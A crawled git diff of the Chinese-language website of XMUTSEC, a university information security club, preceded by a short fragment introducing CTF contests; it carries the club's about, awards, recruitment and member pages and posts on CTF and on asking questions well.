CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的竞赛形式,2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地,DEFCON CTF也成为了目前全球最高技术水平和影响力的CTF竞赛,类似于CTF赛场中的“世界杯” 。
CTF大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将

]]>
diff --git a/award/index.html b/award/index.html index 1186fc8..633a080 100644 --- a/award/index.html +++ b/award/index.html @@ -1,7 +1,7 @@ - + @@ -48,7 +48,7 @@ - + @@ -2278,7 +2278,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', @@ -3024,7 +3024,7 @@

2014

-
+

更新于:2024年1月23日

@@ -4166,7 +4166,7 @@

XMUTSEC

- + diff --git a/content.json b/content.json index 4673fba..2144c6c 100644 --- a/content.json +++ b/content.json @@ -1 +1 @@ -{"meta":{"title":"厦门理工学院信息安全协会 - Hack The Planet","subtitle":"Hack The Planet","description":"厦门理工学院信息安全协会官网,这是一个热爱信息安全、网络安全等领域的团体","author":"XMUTSEC","url":"https://www.xmutsec.cn","root":"/"},"pages":[{"title":"","date":"2024-01-22T18:20:02.947Z","updated":"2024-01-22T18:20:02.947Z","comments":false,"path":"404.html","permalink":"https://www.xmutsec.cn/404.html","excerpt":"","text":"404 灵梦,你又在看魔理沙的小短裙了噢,快去休息好不好,别再看了。"},{"title":"关于","date":"2023-02-07T08:30:06.000Z","updated":"2024-01-22T18:20:02.967Z","comments":false,"path":"about/index.html","permalink":"https://www.xmutsec.cn/about/","excerpt":"","text":"协会介绍 “厦门理工大学信息安全协会(XMUTSEC)”成立于二〇一六年陆月九日是厦门理工大学计算机与信息工程学院指导下的学术科技类社团,几位志同道合的少年人在鹭江之畔一拍即合成立了一支CTF战队CodeMonster与之同时诞生的还有圣后溪英兰德皇家幼儿园附属理工大学信息安全协会(厦门理工大学信息安全协会),协会主要研究的方向以安全类为主,算法类为辅,此外,协会也会组织学生参加学术竞赛,举办学术交流,参加一些项目等等。 协会外出用名: XMUTSEC NoobMonster CodeMonster-A CodeMonster-B CodeMonster 理工路660号 厦北泽理工学院 下北泽沼气动力学院兼东方古明地恋同好会 研究方向 二进制安全 二进制安全是研究计算机程序中存在的安全漏洞,这些漏洞可能被攻击者利用来改变程序的执行流程或获取未授权的权限。常见的二进制漏洞包括栈溢出、堆溢出、整数溢出、格式化字符串、双重释放、释放重引用、数组访问越界、内核级漏洞、类型混淆、沙盒逃逸以及进程间通信等。 Web安全 随着Web 2.0、Web 3.0、社交网络和微博等新型互联网产品的出现,基于Web环境的应用越来越广泛。Web安全研究致力于解决Web应用程序中的安全威胁。黑客通过利用网站操作系统和Web服务程序的漏洞,获取对Web服务器的控制权限。这可能导致网页内容篡改、敏感数据泄露以及恶意代码注入等危害。常见的Web安全问题包括SQL注入、跨站脚本攻击(XSS)、跨站请求伪造(CSRF)、文件上传漏洞、文件包含漏洞、框架安全、PHP常见漏洞以及代码审计等。 逆向工程 逆向工程涉及Windows、Linux和Android等平台上的多种编程技术。研究者需要运用常见工具对源代码和二进制文件进行逆向分析,并掌握Android移动应用APK文件的逆向分析方法。此外,了解加解密算法、内核编程、反调试技术和代码混淆等方面的知识也是逆向工程的重要内容。 无线电 无线电研究方向涉及使用持有A、B证的无线电爱好者通过技术手段进行卫星通信。这包括与卫星通信、接收气象卫星传输的图像数据以及研究GSM/LTE等无线电通信协议和GPS定位等相关内容。 渗透测试 渗透测试是一项安全演习,通过尝试查找和利用计算机系统中的漏洞。模拟攻击的目的是识别攻击者可以利用的系统防御中的薄弱环节。 这就像银行雇用别人假装盗匪,让他们试图闯入建筑物并进入保管库一样。如果“盗匪”成功,进入了银行或保险库,则银行将了解到他们需要如何加强安全措施的宝贵信息。 CTF(Capture The Flag) CTF(夺旗赛)是一种常见的竞技性安全演练形式,旨在考察参与者在网络安全领域的技能和知识。参与者通过解决一系列与信息安全相关的谜题、挑战和问题,寻找并获取“旗帜”(Flag)来得分。这些旗帜通常是特定格式的字符串或文件,证明参与者成功攻克了相应的安全难题。CTF的题目类型多样,涵盖密码学、网络安全、二进制漏洞、Web安全、逆向工程等领域,旨在提高参与者的技术能力、团队协作和解决问题的能力。 CTF竞赛既是一种学习和培训的方式,也是评估安全人员技能水平和挖掘潜在安全问题的手段。参与CTF可以帮助研究者深入理解各种安全领域,并锻炼他们在实践中解决安全问题的能力。 by ChatGPT 3.5 协会战队 XMUTSEC XMUTSEC是由厦门理工大学信息安全协会XMUTSEC领衔的新兴战队,创立于2021年。成员由协会核心人员组成,以在校本科生为主。战队秉承低调、包容和分享的安全研究理念,积极参与了国内许多知名CTF赛事,与来自世界各地的选手齐聚一堂互相切磋。 战队取得的部分成绩: 第十六届全国大学生信息安全竞赛 全国总决赛 一等奖(第5名) 第十六届全国大学生信息安全竞赛 工控安全挑战创新单项奖 第十六届全国大学生信息安全竞赛 创新实践能力赛(华东南分区选拔赛),团体一等奖(晋级总决赛) 2023年福建省第四届“闽盾杯”网络空间安全大赛(黑盾全国大学生赛道)全国三等奖 地点:福建,福州 2022年网鼎杯网络安全大赛 全国总决赛(38/50,CodeMonster),x1aoB1n 2022年网鼎杯网络安全大赛 青龙组 半决赛(13/109名,CodeMonster),晋级总决赛 2023年第四届“长城杯”信息安全铁人三项赛第一赛区,团体三等奖 中国工业互联网安全大赛(福建省选拔赛)暨福建省第二届工业互联网创新大赛 个人金牌 2022年网鼎杯网络安全大赛 青龙组 晋级半决赛 中国工业互联网安全大赛(福建省选拔赛)暨福建省第二届工业互联网创新大赛 团体二等奖 第十五届全国大学生信息安全竞赛—创新实践能力赛总决赛 团体三等奖 第十五届全国大学生信息安全竞赛创新实践能力赛 华东南赛区 团体一等奖 CodeMonster 战队取得的部分成绩: 百越杯福建省高校网络空间安全大赛2016全省第6名、2017全省一等奖第3名。 信息安全铁人三项赛2017华南赛区第3名,2018福建省赛区亚军。 黑盾杯福建省高校和网站网络与信息安全竞赛2017一等奖第2名,2018年一等奖第2名,三等奖第11名 2017第二届48小时黑客马拉松破解大奖赛第4名 2017全国高校网安联赛全国总决赛第19名 2018西湖论剑杯第二届大学生信息安全技能大赛个人赛第5名 2018第四届全国网络空间安全技术大赛第5名 2018第11届全国大学生信息安全竞赛华东南赛区第5名 战队成员于2018新加坡HITB-XCTF GSEC CTF 2018 Final第13名"},{"title":"荣誉","date":"2023-02-07T09:05:19.000Z","updated":"2024-01-22T18:20:02.967Z","comments":false,"path":"award/index.html","permalink":"https://www.xmutsec.cn/award/","excerpt":"","text":"足迹 [2023年08月01日] - 我校学子参加全国大学生信息安全竞赛创新实践能力赛总决赛获全国一等奖 [2022年11月19日] - 2022年厦门理工学院第四届网络空间安全大赛落下帷幕 [2022年09月06日] - 我院学子在第十五届全国大学生信息安全竞赛创新实践能力赛全国总决赛中获三等奖 [2022年07月07日] - 我院学子在第十五届全国大学生信息安全竞赛创新实践能力赛华东南分区赛中喜获佳绩 [2021年12月11日] - 2021年厦门理工学院第三届网络空间安全大赛落下帷幕 [2019年09月16日] - 我院学子在2019年“黑盾杯”网络空间安全知识和安全技能竞赛获全省亚军 [2018年12月19日] - 我院学子在第四届“福建省高校网络空间安全大赛”中获全省第二名 [2018年12月10日] - 厦门理工学院“国科-i春秋”杯第二届网络空间安全大赛完满结束 [2018年11月15日] - 厦门理工学院“国科-i春秋”杯第二届网络空间安全大赛完满结束 [2018年11月15日] - 我院学子在2017-2018全国高校信息安全铁人三项赛取得优异成绩 [2017年12月14日] - 我院学子在第三届“福建省高校网络空间安全大赛”中获全省第三名 [2017年12月08日] - 我院CodeMonster团队在第四届“黑盾杯”信息安全竞赛中勇夺全省第二名 [2017年12月08日] - 我院CodeMonster信息安全团队在第二届48小时黑客马拉松破解大奖赛获佳绩 [2017年05月15日] - 厦门理工学院“国科杯”第一届网络信息安全大赛圆满落幕 [2017年05月07日] - 我院顺利举办“国科杯”第一届信息安全校赛总决赛 [2017年04月28日] - 我院学子在信息安全铁人三项赛华南赛区中喜获季军 [2016年12月14日] - 我院学子喜获第二届“福建省高校网络空间安全大赛”佳绩 主办 [2022/11/04] - 2022年 SkyNICOCTF 暨厦门理工学院第四届网络空间安全大赛 [2022/05/??] - 2022年CMCTF-5(AWD)线上攻防对抗赛 [2022/04/??] - 2022年CMCTF-4(CTF)比赛 [2021/10/??] - 2021年厦门理工学院第三届网络空间安全大赛 [2018/??/??] - 2018年举办第二届厦门理工“国科-i春秋杯”网络信息安全大赛 [2018/02/13] - 举办2018MOCTF新春欢乐赛♂♂♂ [2017/05/06] - 举办第一届厦门理工“国科杯”网络信息安全大赛 2023 [2023/10/10] - 福建省首届大学生数据安全竞赛 省赛三等奖(第1名) [2023/10/10] - 福建省首届大学生数据安全竞赛 晋级 [2023/10/29] - 中国工业互联网安全大赛(福建省选拔赛)暨福建省第三届工业互联网创新大赛 初赛晋级 [2023/07/26] - 第十六届全国大学生信息安全竞赛 全国总决赛 一等奖(第5名) 地点:安徽合肥,中国书法大厦 [2023/07/26] - 第十六届全国大学生信息安全竞赛 工控安全挑战创新单项奖 地点:安徽合肥,中国书法大厦 [2023/07/04] - 2023年中国工业互联网安全大赛决赛 地点:重庆,国际博览中心 [2023/06/27] - 第三届中国(沈阳)智能网联汽车大赛决赛(智能网联汽车 “天融信杯” 信息安全攻防赛)初赛12名 地点:我觉得主办方很有必要学习一下差旅是什么意思,机票太贵飞不了沈阳 [2023/06/24] - 第十六届全国大学生信息安全竞赛 创新实践能力赛(华东南分区选拔赛),团体一等奖(晋级总决赛) 地点:福建,福州 [2023/06/03] - 2023年福建省第四届“闽盾杯”网络空间安全大赛(黑盾全国大学生赛道)初赛全省第一/决赛三等奖(下半场入场) 地点:福建,福州 [2023/05/xx-06-xx] - 某行动,保密 [2023/05/29] - 2023年第八届上海市大学生网络安全大赛暨“磐石行动”2023(首届)大学生网络安全攻防赛 第24名 地点:能进线下,但经费不够,所以就没去了( [2023/05/06] - 2023年首届“盘古石杯”全国电子数据取证大赛 第61名(差1名进线下) 地点:线上,如果进的话就能去南京了,这波是设备问题 [2023/04/14] - 2022年网鼎杯网络安全大赛 全国总决赛(38/50,CodeMonster),x1aoB1n 地点:浙江,杭州 [2023/04/14] - 2022年网鼎杯网络安全大赛 青龙组 半决赛(13/109名,CodeMonster),晋级总决赛 地点:浙江,杭州 [2023/01/10] - 2023年第四届“长城杯”信息安全铁人三项赛第一赛区,团体三等奖 (FUCK U, COVID-19/👇) 2022 [2022/10/??] - 2022年国家网络安全宣传周福建省第三届“闽盾杯”网络空间安全大赛(黑盾赛道) 优秀奖(CodeMonster/XMUTSEC) 地点:福州 [2022/09/22] - 中国工业互联网安全大赛(福建省选拔赛)暨福建省第二届工业互联网创新大赛 个人金牌 地点:福州 [2022/08/??] - 2022年网鼎杯网络安全大赛 青龙组 晋级半决赛 线上 [2022/09/22] - 中国工业互联网安全大赛(福建省选拔赛)暨福建省第二届工业互联网创新大赛 团体二等奖 地点:福州 [2022/08/??] - 第十五届全国大学生信息安全竞赛—创新实践能力赛总决赛 团体三等奖 线上 [2022/06/28] - 第十五届全国大学生信息安全竞赛创新实践能力赛 华东南赛区 团体一等奖 线上 2021 [2021/12/08] - 第二届“闽盾杯”网络空间安全大赛教育行业攻防赛道,防守方第一名 线上 [2021/12/08] - 第二届“闽盾杯”网络空间安全大赛黑盾赛道,高校组第三名、第三名 地点:福州 (FUCK U, COVID-19/👆) 2020 [2020/??/??] - 福建省黑盾杯网络空间安全技能大赛 一等奖 地点:福州 [2020/??/??] - 网鼎杯网络安全大赛 青龙组 晋级半决赛 地点:浙江,杭州 2019 [2019/??/??] - X-NUCA 全国高校网安联赛 第 23 名 [2019/??/??] - 福建省黑盾杯网络空间安全技能大赛 特等奖 地点:福州 [2019/??/??] - 全国软件测试大赛 Web 安全测试个人赛总决赛 二等奖 [2019/??/??] - 全国软件测试大赛 Web 安全测试个人赛省赛 一等奖 [2019/??/??] - 第十二届全国大学生信息安全竞赛创新能力实践赛全国总决赛 三等奖 地点:四川,成都市成华区建设北路一段58号世茂成都茂御酒店(4F大宴会厅) [2019/??/??] - 第十二届全国大学生信息安全竞赛创新能力实践赛华东南赛区半决赛 特等奖 地点:江苏,苏州市姑苏区平江新城苏站路1588号,维也纳酒店(苏州火车站北广场店)三楼肖邦厅 [2019/??/??] - “百越杯”第五届福建省高校网络空间安全大赛 三等奖 地点:福州 [2019/??/??] - 高校网络信息安全管理运维挑战赛 三等奖 地点:西安 [2019/??/??] - “黄鹤杯”网络安全人才与创新峰会暨网络安全服务与创新能力大赛 优秀奖 地点:武汉 [2019/??/??] - 西湖论剑中国杭州网络安全技能大赛 优秀奖 地点:浙江 2018 [2018/12/28] - “百越杯”第四届福建省高校网络空间安全大赛 一等奖 线下地点:福州 [2018/12/07] - 信息安全铁人三项赛全国总决赛 二等奖 线下地点:北京,北京航空航天大学 [2018/06/09] - 第十一届全国大学生信息安全大赛 三等奖(华东南赛区第4名) 线下地点:江苏,苏州市会议中心 [2018/05/11] - 2018 信息安全铁人三项赛福建赛区 一等奖(第2名) 线下地点:福州 [2018/04/26] - 2018 安恒“西湖论剑杯”全国大学生网络空间安全技能大赛 个人赛三等奖 线下地点:浙江杭州国际博览中心 [2018/03/10] - *CTF 2018 97th [2018/03/10] - N1CTF 2018 83th [2018/??/??] - HITB-XCTF GSEC CTF 2018 Final(Member) 线下地点:新加坡(Singapore),National University of Singapore 2017 [2017/11/26] - 第四届“黑盾杯”信息安全竞赛 一等奖(全省第二名) 线下地点:福州 [2017/11/23] - 360 SRC第二届48小时黑客马拉松破解大奖赛(福州站) 综合积分第4名 [2017/11/10] - HCTF 2017 58th 线下地点:福州 [2017/10/27] - “百越杯”第三届福建省高校网络空间安全大赛 一等奖、三等奖 线下地点:福州 [2017/04/22] - 2017信息安全铁人三项赛华南赛区“昆仑中锐杯”企业赛 冠军 线下地点:福州,福州大学 2016 [2016/12/11] - “百越杯”第二届福建省高校网络空间安全大赛 二等奖、三等奖、优胜奖 线下地点:福州 [2016/06/09] - 协会成立 2014 [2014/12/25] - 首届“美亚柏科杯”福建省大学生信息安全竞赛决赛 一等奖"},{"title":"加入我们","date":"2023-02-07T08:29:51.000Z","updated":"2024-01-22T18:20:02.983Z","comments":false,"path":"join/index.html","permalink":"https://www.xmutsec.cn/join/","excerpt":"","text":"协会介绍 欢迎加入理工信息安全协会! 厦门理工学院信息安全协会 隶属于厦门理工学院计算机与信息工程学院和信息中心,这里没有死板的社团制度,我们贯彻自由、平等、开源的精神。 限制条件:仅限 厦门理工学院在校生(本科生、研究生) 协会23纳新群:818071925 加入标准 (满足以下两个条件即可,包括品行端正) 品行端正 对计算机安全有着浓厚的兴趣 对新事物有着强烈的探索欲望 能够完成我们出的新生赛题(校赛) 能独立解决一题大型CTF竞赛的题 高中自学算法或参加过算法竞赛 破解过某些软件 在CNVD、EDUSRC、HackerOne、补天、360、阿里云先知、或者在企业SRC(华为、腾讯、B站)发表文章或者挖掘并提交漏洞报告 独自研究过可信技术、量子安全、人工智能安全、工业控制安全 …或是其他任何和信息安全有关的事情。 学习方式 纯线上自学 协会学习平台:https://cloud.xmutsec.cn 学习资料:https://ctf-wiki.github.io/ctf-wiki/ 刷题 逛大佬们的博客 坚持 坚持 坚持 协会网盘里拥有学习网络安全的部分资料,大家可自行下载学习,如遇到困难可先自行解决(注意翻阅《提问的智慧》),解决不了的在向学长或学姐发起提问,理工信息安全协会欢迎全校同学的到来,协会每学期会举办一场网络空间安全大赛,用于战队选拔,获得奖项的同学即可加入XMUTSEC或CodeMonster战队,参与学术竞赛和一些安全类的活动。 资源类服务 连接方式: 使用EasyConnect拨入学校内网访问下述地址 直接连接学校「XMUT-WiFi」||「XMUT-Guest」||「XMUT(需身份认证)」后访问下述地址 协会网盘:http://cloud.xmutsec.cn 协会竞赛平台:http://games.xmutsec.cn 协会网盘:http://cloud.xmutsec.cn 电子数字取证平台:http://forensics.xmutsec.cn 协会WiFi 理工信安协会免费无线(统一认证使用) 理工信息安全协会-WiFi(加密) Q&A 大一新生刚入学,没有基础但是想加入怎么办? 答: 先进行学习,查看协会网盘的内容,不会的可以把问题发给学长们,等掌握一定基础后可以联系我们。 大一主要以CTF为主,CTF可以很好的培养安全技能,建议参考: https://ctfwiki.org https://github.com/ProbiusOfficial/CTF-QuickStart(快速入门手册,较新) 我加入可以获得什么 答: 可以获得与国内顶尖高校同台竞技的机会,也能认识各路神牛,获取更多人脉资源,获得各大互联网公司的内推机会,竞赛大多数会有很浓厚的奖金,竞赛奖金+学校给的,基本上能包下大学四年学费(看个人能力),当然最重要的是,有一个一起学习扯淡吹牛皮的氛围,当然各种比赛的决赛往往会前往外地参与(前提是我们能打得进),总而言之打比赛和做项目总比你去做那些徒劳无用之事好。 招收有时间吗 答: 无,全年招收,只要你对安全感兴趣,或者有那种想要到处Hacking的心态就行。 硬性要求:只招收整个大一、大二及大三上。 大三下协会成员都差不多准备考研和实习了,可能没时间打比赛和安排项目了。 协会要收会费吗? 答:不收 地址:福建省厦门市集美区厦门理工学院综合楼#2103"},{"title":"成员","date":"2023-02-07T08:30:23.000Z","updated":"2024-01-22T18:20:02.983Z","comments":false,"path":"members/index.html","permalink":"https://www.xmutsec.cn/members/","excerpt":"","text":"CodeMonster战队和厦门理工学院信息安全协会(XMUTSEC)是由厦门理工学院一群对网络/信息安全感兴趣的年轻人组成的兴趣团队,团队研究的方向包括但不限于有Web安全、软件破解、逆向工程、前后端开发、无线电,在我们中间有人深造于纽约大学/西北工业大学/广州大学,有人就职于安恒信息/华为/奇安信/腾讯/阿里/长亭/默安等业内知名企业,团队目前除了研究自己感兴趣的方向,同时积极参与国内(外)CTF及网络安全竞赛。 以下数据来源于 www.codemonster.cn 及 www.xmutsec.com ,如有遗漏,请联系QQ:378768535 2021-2022 IceCliffs - 關注東雪蓮謝謝喵,關注東雪蓮謝謝喵(21-22协会会长) okle15 - Misc warn - 只会密码的web手 Dragonkeep - 写不出web的web手 brokenpoems - fw pwnner 2020-2021 me7eorite - (神) x1aoB1n(米卫兵) - 原神60级+星穹铁道70级(20-21协会会长) 桃子乌龙 whisper 2019-2020 ??? 2018-2019 White - 不可结缘 徒增寂寞 Alienworm - 还没找到门的ctf选手 Southseast - 荆棘刺穿我的脚掌路坎坷而漫长。 Cosmos - 人生如逆旅,我亦是行人。 Nepire - 厦航公子:一份代码千两行,科学上网我最强,赛后秒题理气壮,挺进决赛喊凉凉。 豆浆油条 - 志在山顶的人,不会贪念山腰的风景。 SweetPotato - 我能吞下玻璃而不伤身体 2017-2018 Sheldon - 人生不如意,十有八九(17-18协会会长) Saltyfishy - 人如果没有梦想,那可太舒服了! 张动之 - 入门级ctf选手 2016-2017 PeterZ - 一只沉迷代码的自由鹰(协会创始人,16-17协会会长) Xishir - A code monster.(协会创始人,16-18协会副会长) l1nk3r - 愿你出走半生归来仍是少年 backCover7 - Light up the Night! Jaken - River flows in you. 泡面 - 唯利是图 ju5tw4nty0u - Nothing is impossible to a willing heart."},{"title":"友情链接","date":"2023-02-08T10:02:28.000Z","updated":"2024-01-22T18:20:02.983Z","comments":false,"path":"links/index.html","permalink":"https://www.xmutsec.cn/links/","excerpt":"","text":"(以下排名不分前后) 福建师范大学网络与信息安全协会 大理大学网络安全协会 齐鲁工业大学 SkyMirror 网络安全战队"},{"title":"test","date":"2023-08-22T17:13:45.000Z","updated":"2024-01-22T18:20:02.983Z","comments":false,"path":"test/index.html","permalink":"https://www.xmutsec.cn/test/","excerpt":"","text":"[1x0x02⋯x0n1x1x12⋯x1n⋮⋮⋮⋱⋮1xnxn2⋯xnn][a0a1⋮an]=[y0y1⋮yn]\\begin{bmatrix} 1 & x_0 & x_0^2 & \\cdots & x_0^n \\\\ 1 & x_1 & x_1^2 & \\cdots & x_1^n \\\\ \\vdots & \\vdots & \\vdots & \\ddots & \\vdots \\\\ 1 & x_n & x_n^2 & \\cdots & x_n^n \\end{bmatrix} \\begin{bmatrix} a_0 \\\\ a_1 \\\\ \\vdots \\\\ a_n \\end{bmatrix} = \\begin{bmatrix} y_0 \\\\ y_1 \\\\ \\vdots \\\\ y_n \\end{bmatrix} ​11⋮1​x0​x1​⋮xn​​x02​x12​⋮xn2​​⋯⋯⋱⋯​x0n​x1n​⋮xnn​​​​a0​a1​⋮an​​​=​y0​y1​⋮yn​​​ 12import reprint('Hello World') 12 12 11231223 12312312 123"}],"posts":[{"title":"CTF是什么?","slug":"CTF是什么?","date":"2024-01-22T18:20:02.963Z","updated":"2024-01-22T18:20:02.963Z","comments":false,"path":"2024/01/22/CTF是什么?/","permalink":"https://www.xmutsec.cn/2024/01/22/CTF%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F/","excerpt":"","text":"CTF介绍 以下内容来自CTF-Wiki,欢迎fork CTF-Wiki仓库。简介 - CTF Wiki (ctf-wiki.org) CTF(Capture The Flag,夺旗赛)起源于 1996 年 DEFCON 全球黑客大会,是网络安全爱好者之间的竞技游戏。 CTF 竞赛涉及众多领域,内容繁杂。与此同时,安全技术的发展速度越来越快,CTF 题目的难度越来越高,初学者面对的门槛越来越高。而网上资料大都零散琐碎,初学者往往并不知道该如何系统性地学习 CTF 相关领域知识,常需要花费大量时间,苦不堪言。 为了使得热爱 CTF 的小伙伴们更好地入门 CTF,2016 年 10 月份,CTF Wiki 在 Github 有了第一次 commit。随着内容不断完善,CTF Wiki 受到了越来越多安全爱好者的喜爱,也渐渐有素未谋面的小伙伴们参与进来。 作为一个自由的站点,围绕 CTF 近几年赛题,CTF Wiki 对 CTF 中的各个方向的知识和技术进行介绍,以便于初学者更好地学习 CTF 相关的知识。 目前,CTF Wiki 主要包含 CTF 各大范畴的基础知识,并正在着力完善以下内容 CTF 竞赛中的进阶知识 CTF 竞赛中的优质题目 关于上述部分待完善内容,请参见 CTF Wiki 的 Projects,详细列出了正在做的事项以及待做事项。 当然,CTF Wiki 基于 CTF,却不会局限于 CTF。在未来,CTF Wiki 将会 介绍安全研究中的工具 更多地与安全实战结合 此外,鉴于以下两点 技术应该以开放的方式共享。 安全攻防技术总是在不断演进,旧的技术在面对新的技术时可能失效。 CTF和ACM的区别 以下内容来自知乎,内容稍作修改 ACM相对于CTF,内容很单一,就算法与数据结构,知识面窄,但就是这很窄的知识面,大部分人直到退役都不能全部掌握,但是它门槛低,就算你大学之前毫无编程基础,大一开始刷天梯赛题集入门,保持刷牛客,cf,每场补题,到大三也能拿至少区域赛银了(目前国内xcpc水平不高,通常签到题顺畅就能银)但是要思考的是,这个银有多大意义?如果为了保研,ACM性价比绝对要比发论文低。毕竟在研究生面试的时候,导师们会更关注你的论文,而不是这种算法竞赛。如果为了工作,那么恭喜你,你所学的算法与数据结构是面试必考项目,你可以在这方面很突出,但同时很不幸,面试过后,你的项目能力可能不及其他人。项目里很少会用到算法竞赛里用的这些东西,反而可能会因为竞赛养成的某些坏习惯(变量命名,开空间)而被骂。最好要么把ACM当做锻炼自己思维以及编码能力的工具,要么就为了荣誉,在这里做出一番成绩,为了功利,性价比低。 CTF的话,不可能有一个人面面俱到,因为它的范围太广了,所以,这是一个看队友的比赛,这并不是说ACM不看队友,ACM是三人竞赛,但是通常做题是各做各的,实际上如果你一个人自己打,也不是不能,毕竟大部分知识是三人都会的。但是CTF不是,分工很明确,你web,他pwn,我reverse,我的领域你不懂,你的领域我发懵,所以,如果选择CTF,一定要确保你有可以坚持下去的队友,并且保证他能去专精他负责的方向,你能去专精你负责的方向,人人不当短板。其次,CTF更加考验团队合作能力,一道题可能综合多个方向的知识,有时候需要掌握不同知识的人通力合作才能做出。再然后,CTF很吃你的知识面,如果你知道的知识特别多(主要但不仅限于计算机知识),那么你就是适合CTF的。但假如你连linux都没用过,或者你不了解基本的计算机/网络组成原理,不会任意一门编程语言,并且没有引路人,那么你是不适合打CTF的。 作者:KrK1ng 链接:https://www.zhihu.com/question/352922470/answer/873436590 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。","categories":[],"tags":[{"name":"CTF","slug":"CTF","permalink":"https://www.xmutsec.cn/tags/CTF/"}]},{"title":"别像弱智一样提问(Stop Ask Questions The Stupid Ways)","slug":"babe3810-d68b-427b-a570-80e88595ff2b","date":"2023-09-13T10:52:19.000Z","updated":"2024-01-22T18:20:02.963Z","comments":false,"path":"2023/09/13/babe3810-d68b-427b-a570-80e88595ff2b/","permalink":"https://www.xmutsec.cn/2023/09/13/babe3810-d68b-427b-a570-80e88595ff2b/","excerpt":"","text":"别像弱智一样提问 Stop-Ask-Questions-The-Stupid-Ways 你真的准备好了吗? 感谢群友 for you 提供 避免 xy-problem 参考地址: http://xyproblem.info/ XY Problem 表示 提问者想要解决 原问题 X ,且觉得解决了 引申问题 Y 就能解决 X 问题 提问者对外提出了解决 Y 的的请求 回答者帮助提问者解决 Y 问题。(浪费了回答者和提问者双方的时间) 然而, 最终 Y 问题可能并不是 X 问题的一个合适的解决方法 因此, 提问者要避免创造这样的修罗场, 需要学会在问题之初就准确描述自己的根本问题。 学会描述问题 提问前你必须需要知道的事情 要知道, Free 的正确翻译是 自由,而非 免费。 要知道,愿意回答问题的人,都是 可爱 的人。 要知道,向帮助你的人 付费 是一个高尚的行为。即使回答你的人不是为了钱。 要知道,花钱买时间是一个常识。如果你不能认同,要么你钱包穷,要么你思想穷。 要知道,给对方发工资的不是你或者你老板。 要知道,提问的时候你才是 孙子,帮助你的人是 大爷。 要知道,不回答你的问题对其他人没有任何损失。 要知道,准确描述一件事情是一项基本生存技能。要学会 《提问的智慧》 要知道,搜索是一项基本生存技能,学不会用 Google 的话,你可能真的不适合你所从事的行业。 要知道,英文是一项基本生存技能,不认识英文的话,你可能真的不适合你所从事的行业。 幼儿园的小朋友都知道要有礼貌 请问 …问题描述… 谢谢 学会描述问题 向别人提问的时候,要学会正确的描述问题。 把对方当成你的老板,你在给他做报告。要用最精炼的文字和图片,向对方阐述明白一个事情的来龙去脉。 要知道,你不是我追的妹子,我没有时间来猜你想要什么。 记住,给别人的条件越多,你的问题解决越快。因为这不是解密游戏。 请问一个关于 什么 的问题。 我想要达到 什么样 效果,但是我这样做出现了 什么样 的问题。 报错日志是 这样 的。(要 学会 画关键字) 我尝试过 什么 方法来解决。 我尝试搜索过了 什么 关键字,在里面找到了 这些 URL 的回答,尝试了还是没有解决问题。 我用的是 什么 操作系统,版本号是多少。 我用的是 什么 软件,版本号是多少。 谢谢 千万别认为只有别人帮助你之后才需要说 谢谢。 学会什么时候贴图 像这种,IM 自动转义表情,贴出来的问题全是表情。 学会什么时候要圈出重点 千万不要认为别人的频率和你是同步的,然后像这样扔出一张图一个表情就了事了。 在工作中, 你@的人可能会多问一句什么情况。 但是在 IM 聊天群里面,就没有这么好运气了。 如下很难吗? @xxx,我这边访问不了 git 仓库。 环境是: 环境是什么。 学会什么时候贴文字 什么是弱智一样的提问 萌新滚粗 什么鬼? 咋回事? 怎么办? 救命啊!! 自己 google 自己 google 自己 google 自己 google 了吗 转自GitHub: 别像弱智一样提问","categories":[],"tags":[]},{"title":"提问的智慧(How To Ask Questions The Smart Way)","slug":"7a5251b8-19e1-4dc3-8673-b41b07ee1dda","date":"2023-09-13T10:49:54.000Z","updated":"2024-01-22T18:20:02.963Z","comments":false,"path":"2023/09/13/7a5251b8-19e1-4dc3-8673-b41b07ee1dda/","permalink":"https://www.xmutsec.cn/2023/09/13/7a5251b8-19e1-4dc3-8673-b41b07ee1dda/","excerpt":"","text":"提问的智慧 How To Ask Questions The Smart Way Copyright © 2001,2006,2014 Eric S. Raymond, Rick Moen 本指南英文版版权为 Eric S. Raymond, Rick Moen 所有。 原文网址:http://www.catb.org/~esr/faqs/smart-questions.html Copyleft 2001 by D.H.Grand(nOBODY/Ginux), 2010 by Gasolin, 2015 by Ryan Wu 本中文指南是基于原文 3.10 版以及 2010 年由 Gasolin 所翻译版本的最新翻译; 协助指出翻译问题,请发 issue,或直接发 pull request 给我。 本文另有繁體中文版。 原文版本历史 目录 提问的智慧 原文版本历史 目录 声明 简介 在提问之前 当你提问时 慎选提问的论坛 Stack Overflow 网站和 IRC 论坛 第二步,使用项目邮件列表 使用有意义且描述明确的标题 使问题容易回复 使用清晰、正确、精准且合乎语法的语句 使用易于读取且标准的文件格式发送问题 精确地描述问题并言之有物 话不在多而在精 别动辄声称找到 Bug 低声下气不能代替你的功课 描述问题症状而非你的猜测 按发生时间先后列出问题症状 描述目标而不是过程 别要求使用私人电邮回复 清楚明确地表达你的问题以及需求 询问有关代码的问题时 别把自己家庭作业的问题贴上来 去掉无意义的提问句 即使你很急也不要在标题写紧急 礼多人不怪,而且有时还很有帮助 问题解决后,加个简短的补充说明 如何解读答案 RTFM 和 STFW:如何知道你已完全搞砸了 如果还是搞不懂 处理无礼的回应 